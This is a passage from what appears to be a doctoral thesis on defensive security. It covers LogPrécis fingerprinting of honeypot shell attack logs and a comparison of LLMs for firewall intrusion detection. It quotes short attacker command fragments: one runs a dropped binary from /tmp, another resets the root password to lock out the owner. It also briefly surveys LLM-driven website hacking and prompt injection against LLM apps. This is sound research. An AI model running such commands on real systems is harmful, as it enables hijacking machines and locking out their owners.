fingerprints is two orders of magnitude smaller, i.e., each fingerprint groups multiple

unique sessions. In detail, Fig. 2.10 shows the number of sessions that exhibit the

same fingerprint. While 90% of fingerprints group less than 10 sessions, there are

some fingerprints grouping thousands of unique sessions. The remaining 10% of

fingerprints with more than 10 sessions account for more than 95% of the sessions

in both datasets.

2.6.2 Fingerprint Evolution Over Time

Since fingerprints aggregate sessions with the same tactic sequences, the birth of a

new fingerprint hints at new attacks or the morphing of a previous attack.
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Fig. 2.11 Fingerprints over time for Cyberlab. On the y-axis, the fingerprints are sorted per
date of birth. On the x-axis, time. The colours and size of the circles are proportional to the
number of sessions associated with a given fingerprint on a given day.

To appreciate the growth of fingerprints over time, in Fig. 2.11 we show the

pattern of new and recurring fingerprints for the Cyberlab dataset 12. We assign

a new identifier each time a new fingerprint emerges. On the y-axis, we sort the

fingerprint IDs according to their date of birth. Then we plot a circle for each session

occurring on a given day and associated with the given fingerprint identifier. The

size and the colour of the circle correspond to the number of associated sessions

observed on such a given day.

In Fig. 2.11 we observe that the number of fingerprints keeps growing over time,

with different growth rates. For instance, after Cyberlab’s update to high-interaction

Cowrie (see the vertical line), we observe an increase in the rate of new fingerprints.

Cyberlab also enabled Cowrie’s high-interaction mode in some nodes with this

update. This is known to increase the interactivity of the machines with the attackers.

LogPrécis captures this behaviour by identifying new fingerprints.

More interestingly, some fingerprints keep re-occurring over time for months.

A few fingerprints appear some thousand times on the same day (see the colour of

the circles). We mark those with numbers. These 4 fingerprints aggregate sessions

containing the word /var/tmp/dota* related to the DOTA attack. In fact, these

12The same analysis can be performed on the PoliTO dataset; in the sake of space, we only report
the analysis on Cyberlab – which also presents a more interesting behaviour, considering the servers
update that I will later discuss.
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Fig. 2.12 New unique sessions vs. new fingerprints per day for PoliTO. Red arrows indicate
peaks discussed in the text. LogPrécis reduces the number of novel signals by 2 orders of
magnitude.

correspond to some mutation of the DOTA family. The oldest of them appears on

Aug. 14th, 2019, and ends on Dec. 5th, 2019 (marked as 1). The second version

appears on Sept. 18th, 2019 but it becomes significant in volume after Oct. 2019.

The third and fourth versions were popular for a very short amount of time. In the

appendix, we report the patterns over time of all DOTA and ShellShock fingerprint

attacks.

2.6.3 LogPrécis for Novelty Detection

When running in real-time, LogPrécis can help the analyst detect new or modified

attacks in a short time. Observe Fig. 2.12, where we compare the relationship

between the daily count of new unique sessions never seen before (left plot) and

new fingerprints’ count (right plot) on PoliTO dataset. Missing values are due to

Honeypots’ downtime. The system observes hundreds or even thousands of new

unique sessions every day. Indeed, a change of a single character would make a

session unique.

In contrast, LogPrécis ability to extract the tactics from the raw words makes

the number of new fingerprints in the order of a few tens. Here, the daily number

of novelties drops to around 5-10 per day. Not reported here for the sake of brevity,

we witness some thousands of new unique sessions and some tens of new unique

fingerprints in the Cyberlab dataset too. All in all, LogPrécis limits the number of

alarms to be handled by the security team.

Consider now the spike on December 9th, 2022 when the number of new fin-

gerprints dramatically surges to ≈ 70. Interestingly, the trend of new sessions has a
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peak of 1,357 new unique sessions – 1,174 of which are associated with a specific

fingerprint born on the 9th of December. By looking at the most frequent words in

such sessions, we observe all these 1,174 samples contain the word lockr labelled

as Persistence. lockr is a secret management service with integration with Drupal

and WordPress [137]. 68 of the new fingerprints aggregate sessions containing the

lockr command too. This word never appeared in any past session. This clearly

shows a new attack pattern has started, with the attacker further changing and im-

proving their tactics. Recent reports (i.e., [138] and [139]) confirm the use of lockr

as part of an SSH brute-force attack that tries to maintain persistence on the attacked

machine. Notice that reports [138] and [139] were compiled on April and May 2023:

with LogPrécis online, we would have been able to automatically spot this attack

months earlier.

2.6.4 Session Prototype Extraction

Let us shift our focus to a specific fingerprint of interest. Sessions associated with

the same fingerprint have, by definition, the same sequence of tactics and, hence,

the same number of words. By simply counting the number of unique words in

each position, we can observe which portion of the sessions makes them unique and

extract the prototype of such sessions.

Consider an example of a fingerprint containing a sequence of 13 tactics. Fig. 2.13a

shows the percentage of unique words found for each position in the fingerprint.

Words related to the tactic in positions 5, 9, and 11 assume pseudo-random strings.

Those correspond to the name of an executable the script runs: cd /tmp && chmod

+x 61mVjztA && bash -c ./61mVjztA ; ./61mVjztA ;

Consider now the DOTA fingerprint 1 from Fig. 2.11. It is associated with

> 30,000 unique sessions, all matching the same 138-long sequence of tactics.

Fig. 2.13b shows the percentage of unique strings at each position. The word in

position 10 appears random, as it changes in all the sessions. Instead, the word in

position 105 is a semi-random string, as some of them repeat. We report one of those

sessions:

[. . .] echo "root:xue7wsmGreOb" | chpasswd | bash [. . .] echo "root diablo"

> /tmp/up.txt; [. . .]
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Fig. 2.13 Percentage of unique terms in each position for sessions associated with 2 finger-
prints from the Cyberlab dataset. The fingerprint grouping allows us to spot which words of
the sessions are random or semi-random.

Fig. 2.14 Ancestor fingerprints for the lockr session of Dec. 09, 2022 (top of the image)
found in PoliTO dataset. A session of the root fingerprint at the bottom.

In the first random string, the attacker changes the root password with a random

string to lock out the account owner. Later, the attacker stores the password used

to enter the system in a local file. These passwords sometimes repeat, appearing as

a semi-random string. This is coherent with the Cowrie authentication mechanism

used in this deployment: we configured it to accept the attacker’s password after a

random number of attempts.

In total, we observe 131 fingerprints with semi-random strings. We unveil

the usage of dictionary-based passwords, IP addresses of servers hosting malware,

sequences of 4-6 bytes-long groups of characters in hex-encoded binaries (which
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turn out to be server IP addresses), etc. Fingerprints let us find this evidence in a

simple, more scalable, and intuitive manner.

2.6.5 Tracking Session Morphing

We now compare fingerprints against each other to highlight similarities and differ-

ences in the corresponding associated tactics and provide examples of the power of

summarising sessions into fingerprints.

To measure the distance between two fingerprints, we compute the Levenshtein

distance [140], i.e., we count the minimum number of tactics that one needs

to change (delete, insert, replace) to transform one fingerprint into another one.

For instance, the fingerprint (Execution – Execution – Defence evasion)

→ EED and (Execution – discovery – Defence evasion – Defence evasion)

→ EdDD have a distance of 2 (replace E with d, insert D).

Finding Fingerprint Ancestors: We want to find the ancestors of a given fingerprint,

i.e., the most similar fingerprint observed in the past. The lockr fingerprint, observed

for the first time on Dec. 9th, 2022 on PoliTO dataset, is an interesting example. We

identify the most similar fingerprints in the past to trace if the attacker has modified

previous scripts to engineer the new ones. We show the result in Fig. 2.14. For each

fingerprint, we report the first time the fingerprint was seen, the Levenshtein distance

with respect to the ancestor, and a representation of the fingerprints.

The top fingerprint (marked as 1) is our seed, with an example of an associated

session reported in the top text. The closest fingerprint in the past (2) was found

on Nov. 27th, 2021, more than one year in the past. The new attack appears to use

the same code as its closest ancestor, extending the Persistence tactic to include the

lockr commands. This observation is in line with the findings in [139] where authors

underline the similarity between the script containing lockr and some variation of

already existing attacks. While their analysis was mostly manual, LogPrécis enables

the semi-automatic identification of similar sessions.

Continuing looking for ancestors, we iterate going back in time until we reach

the start of our collection. We find 8 ancestors in total. We report a sample session of

the oldest fingerprint in the bottom text. Note how the sequence of Discovery tactics
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found in the oldest ancestor is the same in the newest lockr attacks. This clearly

points to the usage of a family of attacks, or some attack-kit code.

We believe this analysis would allow the security analyst to easily identify the

incremental changes and code reuse adopted by the newly identified attacks.

The Big Picture – Linking Attack Fingerprints: We now generalise the previous

analysis by creating a graph that summarises the relationships between all fingerprints.

We build a graph where nodes represent fingerprints and undirected weighted edges

represent how much they are similar. The weight of the edge is the inverse of the

Levenshtein distance.

We consider the 1,673 Cyberlab fingerprints. For each fingerprint, we add

two edges connecting its two closest fingerprints, according to their distances. For

fingerprints aggregating more than 10 sessions (see Fig. 2.10), we create further

edges, connecting up to the closest 20 nodes, if their distance is below 0.25.13

Fig. 2.15 depicts the resulting graph obtained using the Force Atlas 2 algo-

rithm [141] that uses a gravitational law to position nodes on a plane. The closer the

nodes, the more similar they are. The Louvain Community Detection algorithm [142]

identifies 8 groups represented with colours.

In sum, LogPrécis unveils a clear separation of families of attacks. Some groups

have a lot of fingerprints, showing evolving families with minor changes in the

tactics, possibly including artefacts introduced by the honeypot that make the attack

fail. In the Appendix, we show some sessions from each family.

2.7 Discussion

In this chapter, I presented LogPrécis, a novel approach leveraging PLMs to automate

the analysis of Unix shell attack logs. Our findings demonstrate that PLMs can

effectively extract high-level attack fingerprints, significantly reducing the complexity

of log analysis. By mapping raw shell commands to MITRE ATT&CK tactics,

LogPrécis enables analysts to understand attack sequences at an abstraction level

that is more manageable and insightful than raw command logs. Applied to over

13We choose parameters to avoid having a full mesh. Each node has a minimum of 2 edges and a
maximum exceeding 20 (since edges are undirected and many nodes could have the same node as
closest).
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Fig. 2.15 Fingerprint graph similarities for Cyberlab dataset. Colours represent communities
of similar fingerprints, and we manually assign them a label by checking their sessions.

400,000 unique shell attack sessions, our model reduced the number of unique attack

representations to fewer than 3,000 fingerprints, a drastic compression that facilitates

pattern recognition, forensic analysis, and novelty detection.

The evaluation showed that contextualized PLMs, such as CodeBERT with

domain adaptation, outperform classical NLP methods like Word2Vec, as well

as static rule-based approaches. Fine-tuning on as few as 360 labeled sessions

was sufficient to achieve high classification performance, with a ROUGE-1 score

of 0.85 and fidelity of 0.67. Furthermore, LogPrécis demonstrated the ability to

generalize to unseen commands by leveraging the contextual relationships captured

by transformers, making it more resistant to adversarial modifications than traditional

rule-based methods.

Despite its strong performance, LogPrécis has some limitations. Misclassification

near tactic boundaries remains a challenge, as the definition of exact transitions

between tactics can be ambiguous even for human annotators. Furthermore, rare or

emerging attack patterns may not be well-captured by our existing labeled dataset,

requiring periodic fine-tuning to adapt to new adversarial techniques. Additionally,

attackers could potentially exploit PLM biases by crafting log sequences that mislead

the model into incorrect classifications. Addressing these issues requires ongoing
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refinement, including the development of adversarially robust PLMs for security

applications.

To overcome these challenges, several promising research directions emerge:

• Extending LogPrécis to other domains: Evaluating PLMs on Windows event

logs, network flow logs, and application logs could expand its applicability to

broader security contexts.

• Enhancing adversarial robustness: Investigating adversarial training techniques

could help PLMs resist manipulation by attackers attempting to evade detec-

tion.

• Multimodal analysis: Combining log-based PLMs with network traffic analysis

or system call traces may improve the detection of complex, multi-stage

attacks.

• Benchmarking against human analysis: Conducting user studies to compare

LogPrécis-generated insights with those of experienced security analysts could

validate its real-world effectiveness.

Tackling some of these points, in Chapter 3, I extend this study to a real-world sce-

nario with significantly larger, more diverse, and noisier logs. Additionally, I explore

the potential interplay between small, specialized models and large, general-purpose

LLMs, investigating whether and how their combination can further streamline

security experts’ analysis.



Chapter 3

Large Language Models for Intrusion

Detection

In this chapter, I report the following paper: Boffa, Matteo, et al. “A Systematic

Comparison of Large Language Models Performance for Intrusion Detection.” Pro-

ceedings of the ACM on Networking CoNEXT (2024): 1-23.

I build on the methodology presented in Chapter 2 to face a real-world appli-

cation of industry firewalls. Specifically, I investigate whether a Large Language

Model (LLM) can effectively prioritize high-risk logs from a large, noisy, and diverse

dataset. The LLM receives three types of input: i) raw firewall alerts, ii) Cyber Threat

Intelligence (CTI) about the attacker, and iii) insights from a smaller, dedicated lan-

guage model along with its preliminary analysis. Based on this information, the LLM

is tasked with generating a “level of danger” rating for the logs, as well as providing

a textual explanation that summarizes the key factors behind the assessment.

3.1 Introduction

Current security products like Intrusion Detection System (IDS) and End Point Detec-

tion and Response (EDR) systems largely rely on manually curated rules and Cyber

Threat Intelligence (CTI) data for analysing raw logs. However, this approach is

constantly challenged by the dynamic nature of cyber threats, necessitating constant

updates and manual interventions. It would be thus desirable to reduce as much as
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possible the current dependence on manual processes and rule-based systems and

to assist the expert in analyzing a vast amount of heterogeneous data – for which

ML and, especially, NLP techniques are a promising tool. While several known

problems [78] plague the deployment of ML in the production system, breakthrough

in NLP modeling offers a promising avenue worth exploring, given the generic rea-

soning abilities of LLMs [36], whose application to security recently encountered an

increasing interest. In this chapter, I investigate whether LLMs can detect malicious

patterns directly within raw packets.

From a mile-high viewpoint, there are two main ways LLMs can be exploited

for cybersecurity defense. The first one is to use (i) general-purpose polymath

LLMs [36] to reason about security events: this is, for instance, the case of products

like Microsoft Security Copilot [143], which employs OpenAI’s GPT-4 to produce

security incident reports. At the same time, such a cloud-centric deployment model

faces significant hurdles in terms of data privacy and high bandwidth and computa-

tional costs. The alternative path is to rely on (ii) lean task-specific LLM models, that

have been retrained/fine-tuned in a supervised manner to solve specific tasks, such as

identification of an attack’s class and severity. While the scale of such models allows

them to be run on-premise, it is unclear if such models are sufficiently accurate to

replace, or even assist, current IDS.

This chapter sets out to assess the value of the above LLMs alternatives by

comparing several design strategies, including classic ML and LLM models that,

given raw data as input, compete (or complement) a commercial IDS solution to

generate security alarms and incident reports. In particular, I consider: (i) an end-to-

end approach where the LLM provides the full solution in a single step with classic

few-shot prompting; (ii) a Retrieval Augmented Generation (RAG) strategy where

the LLM has access to a database of exemplary raw payloads of previous attacks;

(iii) a decoupled solution where a small, task-specific fine-tuned LLM classifies

the attack class and severity, whereas a foundational LLM produces the ultimate

natural language incident report, aggregating the task-specific output with additional

information, such as CTI data. We summarize our main findings as follows:

• First, prompt-based end-to-end LLM solutions are not satisfactory; in particu-

lar, cloud-based solutions constitute a privacy risk without readily solving the

problem (OpenAI GPT 3.5 and 4), while on-premise solutions with smaller

models achieve below-par performance (Mistral-7B, LLama2-13B).
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• Second, RAG improves the on-premise end-to-end solution by a sizeable

amount, and additionally helps improve the attack explanation and grounding,

but performance is still far from replacing an IDS.

• Third, task-specific LLMs can be fine-tuned to achieve satisfactory perfor-

mance, over 95% accuracy for in-distribution attacks, outperforming state-of-

the-art ML baselines.

• At the same time, performance on zero-day attacks (i.e., out-of-distribution

from a machine learning perspective) is significantly lower, which calls for

more investigation into the generalization abilities of LLMs.

In the rest of the chapter, I first overview related literature (Sec. 3.2) and next

detail the different system designs this chapter contrasts (Sec. 3.3). I describe the

research questions, proprietary dataset, and methodology (Sec. 3.4), and report

extensive experimental results (Sec. 3.5). Finally, I discuss limitations and future

work (Sec. 3.6).

3.2 State of the Art

Various NLP techniques have been used for the detection of malicious patterns in

textual data from diverse cybersecurity sources (such as emails, transaction logs,

software code, and online social media). As summarized in the top portion of

Table 3.1, these techniques can be categorized into four main approaches, which I

overview in the following.

Traditional NLP Methods

Traditional NLP methods, such as Bag of Word (BOW), Term-Document Matrices

(TDMS), and Term Frequency-Inverse Document Frequency (TF-IDF) [144], have

been employed to represent text in a digital form, usually in combination with ML

for various cybersecurity tasks. For instance, [145] use BOW with a Decision Tree

for detecting intrusion attacks in in-vehicle networks, specifically focusing on the

Controller Area Network (CAN) bus traffic and considering different combinations of

data including the arbitration field (CAN-ID) and payload. Leveraging honeypot logs,
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Table 3.1 State-of-the-art methods for cybersecurity using NLP, Word Embedding, Trans-
former, and LLM.

Application Sec Approach [Ref] Year Model Task

Defense

2.1.1
Traditional NLP [145] 2021 BOW + Decision Tree Intrusion detection
Traditional NLP [109] 2022 Counter Vectorizer, TF-IDF, Word2Vec + Clustering Shell attacks analysis

2.1.2
Word Embedding [146] 2021 DeepAMD (MLP) Android malware detection
Word Embedding [147] 2021 PetaDroid (CNN Ensemble) Android malware detection
Word Embedding [148] 2021 DarkVec (MLP) Malaware traffic detection

2.1.3

Transformer [149] 2021 MalBERT (BERT-based) Malware identification
Transformer [150] 2023 MalBERTv2 (BERT-based) Malware identification
Transformer [151] 2022 SecureBERT (BERT-based) Foundation model for security
Transformer [152] 2022 CAN-BERT (BERT-based) Intrusion detection
Transformer [153] 2022 BERT-Log (BERT-based) System logs Anomaly detection
Transformer [154] 2023 LogPrecis (BERT-based) Honeypot shell log analysis
Transformer [155] 2024 Dom-BERT (BERT-based) Malicious domain detection

2.1.4

LLM [143] 2023 SecurityCopilot (GPT-4) Incident response
LLM [156] 2023 SecureLLM (BERT, Falcon-40B) Threat detection and mitigation
LLM [157] 2023 SecureFalcon (Falcon-40B) VC code vulnerability detection
LLM [158] 2023 CAN-SecureBERT (RoBERTa), CAN-LLAMA2 (Llama2-7B) Intrusion detection and classifica-

tion
LLM [159] 2023 ChatIDS (ChatGPT) Explaining IDS alerts
LLM [160] 2023 netFound (Hierarchical transformer) Foundation model for network se-

curity

Attack 2.2.1
LLM [161] 2024 GPT-4 Website hacking
LLM [162] 2023 AutoGPT, GPT-3 Malware creation
LLM [163] 2023 GPT-3.5 GPT-4 Spear-phishing attacks

LLM Security 2.2.2

LLM [164] 2024 GPT-3.5, GPT-4 LLM apps manipulation
LLM [165] 2020 GPT-2 Training data extraction
LLM [166] 2023 Pythia, GPT-Neo, LLaMA, Falcon, ChatGPT Training data extraction
LLM [167] 2023 Small check Leak of LLM internal design
LLM [168] 2023 Bart, mBart LLM “intellectual property" pro-

tection

[109] uses frequency-based embedding (Counter Vectorizer, TF-IDF) to identify

classes of attack patterns and explain attackers’ objectives. In this work, I leverage

state-of-the-art ML and TF-IDF as a baseline for LLM.

Neural Word Embeddings

Neural word embeddings, such as Neural-Bag-of-words, FastText and Word2Vec [101],

are more modern word representations that capture language semantics and word

inter-relationships. These embeddings are generally used in conjunction with DL

architectures for malware detection tasks. For instance, [146] proposed the Deep-

AMD framework based on a simple Multi-layer Perceptron (MLP) architecture for

detecting and identifying Android malware. PetaDroid[147] employs an ensemble

of Convolutional Neural Network (CNN) on top of Inst2Vec features for Android

malware detection, and uses DBScan for clustering malware families. DarkVec [148]

learns embeddings of IP traffic patterns to detect malicious network activities. As

word embeddings have been superseded by more recent neural architectures, I

disregard them in this chapter.
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Transformer-based Language Modeling

Transformer-based language models, particularly encoder-based models like BERT

[102], have gained popularity in cybersecurity applications due to their ability to

learn good, contextualized representations from words and entire sentences. Several

studies have applied BERT to various security tasks, such as intrusion detection

[152], anomaly detection in system logs [153], malware identification [149, 150]

and malicious DNS domain detection [155]. Domain-specific language models like

SecureBERT [151] have been developed to learn representations from the unique

characteristics of cybersecurity text data. Given the rising popularity of BERT-based

security models, in this chapter I perform a thorough ablation study of BERT models

for threat detection and classification.

LLM for Cyber Defense

The emergence of LLMs has opened new possibilities for automating cybersecurity

tasks. While the application of LLMs in this domain is still in the early stages,

recent works have started exploring its potential. [156] introduced SecurityLLM

combining a smaller BERT model for threat detection in IoT systems with a larger

instruction-tuned LLM for incident response and recovery, acting as an assistant to

network security analysts. To detect vulnerabilities in the specific case of C code,

[157] utilize a tailored version of FalconLLM, achieving good accuracy. Other

efforts include using LLMs for explaining IDS alerts to non-experts [159] and

building foundation models for network security [160] to incorporate hierarchical

and multi-modal attributes of network traffic inside the model, to be able to learn

hidden contexts and favor generalization. To the best of our knowledge, despite RAG

being a very popular technique [169], it has never been tested so far in the field of

cybersecurity. In this work, we are the first to directly compare transformer-based

vs LLM-based and RAG-based classification performance (and defer a qualitative

assessment of LLM explanation abilities to Appendix B).
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3.2.1 Other LLM-related Security Studies

As reported in the bottom of Table 3.1, LLMs have also been used for complementary

cybersecurity tasks: these are still relevant as close in terms of approach, yet far from

an application perspective.

LLM for Cyber Attacks

Researchers have studied the offensive capabilities of LLMs such as AutoGPT and

GPT-3, to create malware [162] or spear-phishing attacks [163]. More recently, [161]

assessed the ability of LLM agents to autonomously hack websites, revealing that

GPT-4 demonstrates the required capabilities without explicit prior knowledge of

specific vulnerabilities (succeeding 2/3 of the time w.r.t. much lower success rates

for other models, including GPT-3.5).

Security of LLMs

A complementary viewpoint of the work on LLMs and security is instead concerned

with the security and privacy of LLM-based systems themselves. [164] notoriously

revealed a new attack vector called Indirect Prompt Injection, where adversaries

remotely exploit LLM-augmented applications by injecting prompts into the data

these applications access during inference.

Other work instead focuses on attacks to steal training data from LLMs [166,

165], attacks to reverse-engineer some of their internal design choices [167], methods

to protect their “intellectual property” through watermarks [168], or methods that

prove that a model was trained according to a given specification without revealing

details about training data or model details [170].

3.2.2 Contributions

In a nutshell, this study is the first to provide a systematic comparison of a very wide

range of state-of-the-art LLM and ML techniques for the purpose of cyberdefense,

using payload as input. To provide fair, unbiased, and statistically significant results,

we take care of avoiding methodological flaws that, while well known, are still

common in ML studies for security [78].
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3.3 Solutions overview

The goal of an AI firewall is, shortly, to (i) correctly detect a security incident and (ii)

generate a description in natural language: Fig 3.1 depicts the high-level solutions

we contrast in this work to achieve the above goal. This chapter mostly discusses

the quantitative aspects related to classification abilities and defers to the appendix

qualitative examples of textual description. Without loss of generality, we refer to

the categorical class labels (e.g., benign/malicious, or more involved class definition)

as ℓ in the following.

3.3.1 Prompt engineering

As a baseline, we employ a frozen pre-trained LLM with prompt engineering as

in Fig. 3.1-(a). We opt for open-weight LLM models (such as Mistral [171] and

LLama2 [172]) that can be deployed on-premise in a private cloud (for data privacy

reasons), or on the public cloud (with access to GPT-3.5 [173] and GPT-4 [32]). The

input of a model is raw packets P payload, and the output of the model is the class

label ℓ (and a natural language explanation E ).

Aim The aim is to assess whether frozen LLM models alone can readily act as an

AI firewall with minimal investment. As such, while we do experiment with several

prompts, we do not aim at over-engineering the prompting part [174]. We further

detail the frozen LLM baseline in Sec.3.4.4 and report results in Sec.3.5.1

3.3.2 Retrieval Augmented Generation (RAG)

As a second solution, we complement the frozen LLM with firewall data, accessible

through a RAG [169] as in Fig.1-(b).

Offline phase We leverage ChromaDB and Langchain frameworks [175] to aug-

ment frozen LLMs with specific examples of malicious packet payloads P and

associated classes ℓ, denoted as AttackDB in the picture. During an offline phase,

the AttackDB is populated with a set of representative attacks by using embeddings

of the payloads e(Pi) (essentially, a high dimensional vectorial representation of the
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Fig. 3.1 Synoptic of AI firewall solutions: (a) end-to-end solution through frozen LLM
prompting; (b) RAG and frozen LLM; (c) decoupled classification with fine-tuned LLM (or
ML) and incident reporting with frozen LLM.

payload), along with metadata such as ∀ℓi class label, and other useful information

(such as a textual description eventNamei, eventIDi).

Inference phase At inference time, when presented with a new raw packet payload

Pj, using e(Pj) as the search key, RAG retrieves the top-k relevant payloads embed-

dings to e(Pj) and the associated values (i.e., class ℓ, eventName descriptions). In

practice, the top-k packets are those closest according to the cosine similarity metric

in the embedding space. The metadata (class ℓ, eventName description) associated

with these top-k embedded payload representations are then passed as additional

input to a frozen LLM model for textual explanation. We expect this domain-specific

knowledge to assist a fine-tuned LLM or a frozen LLM for the classification (ℓ) or

textual explanation of security events.

Aim Setting up a RAG pipeline is marginally more involved than prompting: the

aim of this baseline is thus to assess whether, by carefully engineering a sanitized

task-specific AttackDB exploited with a RAG approach is sufficient to let frozen

LLM models act as an AI firewall. Further details on the RAG strategy are provided

in Sec. 3.4.4 and associated results are reported in Sec. 3.5.1.
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3.3.3 Fine-tuned LLMs + Frozen LLMs

We finally consider a decoupled solution where a (i) specialized LLM (or ML) model

provides accurate classification ℓ, whereas a (ii) foundational frozen LLM model is

solely in charge of providing the natural language explanation E .

Offline phase Task-specific LLM (or classic ML model) needs to be fine-tuned

during the offline phase. We consider both (i) transformer-based models e.g.,

BERT [102] and variations thereof (such as UnixCoder, BigBird) of alternatives

(such as models of GPT-2, Mistral-7B) as well as (ii) state-of-the-art ML models

based on classic TF-IDF payload representation as a baseline. To provide a fair

comparison, we fine-tune LLM and train ML models on the same (P, ℓ) class pairs

(cfr Sec.3.4.4–3.4.4 and Appendix B).

Inference phase During the inference phase, specialized LLM (or ML) models

can feed to the foundational frozen LLM model more than just the class label ℓ (e.g.,

additional meta-information such as eventName, attention, extracted keywords, etc.).

Additionally, the foundational frozen LLM model can access and summarize all

available information (such as the AttackDB through RAG, CTI information about IP

of the alleged attackers, as well as raw packet payload P as in the previous solutions)

to present human operators with a clear explanation of the event in natural language

– which instead specialized task-specific models are unapt for.

Aim The intuition of this decoupled solution is to leverage a lean lightweight

model for the classification task of large volumes of traffic and exploit the expressive

power of LLM only for the rare cases that require human intervention. We introduce

the state-of-the-art ML approaches in Sec.3.4.4, the set of LLM models we fine-tune

in Sec.3.4.4, and report results in Sec.3.5.2.

3.4 Methodology

In Sec. 3.4.1, I formalize the proposed methodology and key research questions. I

introduce the dataset in Sec. 3.4.2, and the evaluation scenarios in Sec. 3.4.3. I then
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detail the classification models in Sec. 3.4.4, while I defer the explanation generation

to Appendix B.

3.4.1 Problem statement

The task of detecting security incidents from raw network traffic is framed as a

sequence classification problem in the context of NLP. Given an input text sequence

representing parsed network traffic (e.g., a packet header and payload), the goal

is to predict the correct label ℓ as either a binary classification (malicious/benign)

or as a 5 category (fine-grained risk level, cfr Sec.3.4.2 and Appendix B). For the

sake of readability, and to gather conservative results, I mostly report results of the

5-category classification (which is harder than the binary problem).

At high level, the designed experiments address the following key research

questions, which I phrase to provide insights and best practices for designing effective

LLM-based network security incident detection systems. First, it is important to

assess the LLMs ease of adoption: Are simple techniques such as prompting/RAG

sufficient, or is fine-tuning LLM models necessary, for accurate classification of

security events? Secondly, I perform a study on the LLM performance: Do fine-tuned

LLMs offer advantages over traditional ML baselines, such as TF-IDF with state-

of-the-art ML models? Are they capable of generalization? what is the expected

performance in practice? Eventually, once assessed that simple techniques are not

enough, and that fine-tuned LLMs are helpful, I delve deeper into the best LLM

practices. Specifically, concerning fine-tuned LLMs, what are the best choices in

terms of LLM model sizes (from 110M to 7B weights), context window (from 512 to

4096 tokens) and pre-training (language-only vs domain-specific)?

3.4.2 Dataset

For this chapter, we use a proprietary1 collection of security events, corresponding

to incidents detected by firewall rules from our on-premise as well as from customer

deployments, collected across five months (from May 26th to October 10th, 2023).

By design, the provenance of the data avoids the Lab-only evaluation pitfall, identi-

1The dataset is a sensitive asset which we cannot therefore release. We are investigating the
possibility of releasing a curated fraction, but we have not received clearance to do so.
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fied in [78] as the 3rd most frequent problem, common to 47% of the surveyed ML

security studies.

Data sources

Each event is described by two data types: an (i) Alarm Log, a single JSON file giving

the basic details of the type of attack identified (e.g., event ID, 5-tuple, application

protocol, event name assigned by IDS, timestamps, etc.) and (ii) Alarm Evidence, a

collection of JSON files containing plaintext payload dumped from Packet Capture

(PCAP) associated with the event in the Alarm Log. As our goal is to apply ML

directly to traffic captures, we restrict our attention to the set of 2.06M events having

associated at least one packet capture with a non-empty payload. As it is well known

that most IDS alarms are false positive classifications [8], the main goal is to correctly

rank attacks into 5 decreasing severity levels ℓ: some classes pertain to malicious

traffic (1: Successful attack, 2: Virus, trojan and worm and 3: Unsuccessful attack

attempt) while other classes are related to either benign (4: IDS false alarm) or

unspecified (5: Other) traffic. Additional details concerning data collection process

are reported in Appendix B.

Spatio-temporal viewpoint

In particular, there are 232 applications in total in the dataset, with the top 5 (HTTP,

DNS, SMB, HTTPS and UDP) representing 88% of the total events – an expected

imbalance. These applications generate a set of precisely 2500 unique attack types

(identified by their textual eventName description) for which their most frequent

top-5 (top-10) represent 26.8% (35.6%) of the total. Further information about the

attack types and details on the top-10 events are deferred to Appendix B.

As the data comes from active firewall deployments, we do not control the

collection policies: as such, we cannot assume homogeneity across time in terms of

the types of events captured. This is especially relevant for the study of deployments

that need to adapt to evolving data [78]. We characterize the temporal evolution of

events in Fig. 3.2, showing the cumulative distribution of events over time (left) as

well as heatmaps by event names/attack severity according to months (middle/right),

where we split the data in five bins of equal number of days (27.5). Regarding attack

severity level ℓ (right), we observe a large imbalance in both spatial distribution
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Fig. 3.2 Temporal analysis of the dataset.

and temporal behaviour: successful attacks are very infrequent (severity class ℓ=1

comprises 787 events, representing less than 0.4% of the total) while most of the

false positive and other traffic samples (ℓ∈[4,5]) are concentrated in the third and

fourth bins. In particular, most of the category ℓ=4 events are detected in a period of

four days, ranging from Aug. 15th to 19th: this bursty behaviour is expected and

represents a potential challenge for properly training ML and LLM models.

Temporal skew can similarly be found analyzing event names (middle): most

SMB attacks (top-1 and top-3 in terms of frequency, attacks of severity ℓ=2) con-

centrate in Jun-Jul, while SSL weak hashing scans (top-4 frequency, severity ℓ=4)

appear to be carried out mostly during Aug-Sep. This confirms the potential data

drift that was previously hinted, as completely new types of attacks (i.e., zero-day

previously unseen eventName) may start to appear after months of collection, which
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has consequences on the evaluation protocol to be put in place to avoid gathering

biased results.

ML viewpoint

From an ML viewpoint, information in the Alarm log and Alarm evidence can be

either used as input or output of the classification task. Generally speaking, the ML

classifiers are presented with input readily available from the Alarm evidence, i.e.,

the 5-tuple flow identifier as well as the packet payload extracted from the raw traffic

stream. When more than one packet is available, we further concatenate payloads of

several packets belonging to the same event (i.e., associated to the same eventID in

the log). As for the output, our classification target is the severity of the identified

attack ℓ∈[1,5]¢N, where the lower the value, the higher the severity.

Additionally, the IDS provides a textual description of the attack (eventName):

we consider the eventName field as either (i) input to ML/LLM classifier for IDS-

assistance, as well as (ii) intermediate output of the RAG classifier for IDS re-

placement. Concerning the latter case, recalling Fig.3.1-(b,c), the AttackDB can be

queried through RAG to predict the most likely eventName, to be used as input by

the risk severity classifier even in the absence of an IDS.

3.4.3 Data Splits and Evaluation Scenarios

To rigorously evaluate the performance and generalization capabilities of our AI

Firewall, we curate our dataset of real-world network events to design several

evaluation scenarios that avoid common pitfalls [78]. Table 3.2 summarizes the

number of security events used for model training and testing, according to different

splits we hereby motivate and describe. In a nutshell, we use a (i) curated subset

with models of the OpenAI GPT family due to privacy issues, (ii) a stratified split to

assess different models’ capacity to learn from the data, isolating model limitations

from the effects of potential data shifts and (iii) two time-based splits, to closely

assess models’ robustness to real-world conditions and data shifts.
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Table 3.2 Dataset and associated computational cost: (left) Number of samples for stratified
vs temporal splits and (right) training and inference (batch size 1) costs for ML, BERT and
RAG models for the stratified split.

Data splits Stratified 15/08-split 21/08-split Computational cost ML BERT RAG

Train 17174 42245 42687 Train time (sec/sample) 0.25 0.7 0.02
Validation 4294 10562 10672 Inference time (ms/sample) 0.07 40.3†/5.5‡ 34.4
Test 411626 575414 406449 Inference rate (sample/sec) 13.7k 25†/181‡ 29

† batch size B=1, ‡ batch size B=20

Curated subset

A balanced subset of 20 samples per class (100 overall), on which we gather clearance

for testing with proprietary LLMs (i.e., OpenAI GPT) while preserving privacy, that

we use to partly answer the first research question. Given its small size, the subset

has anecdotal value and yields ballpark figures, but it allows manual validation of

results.

Stratified selection

Stratified selection is typically used in ML for consistent performance evaluation,

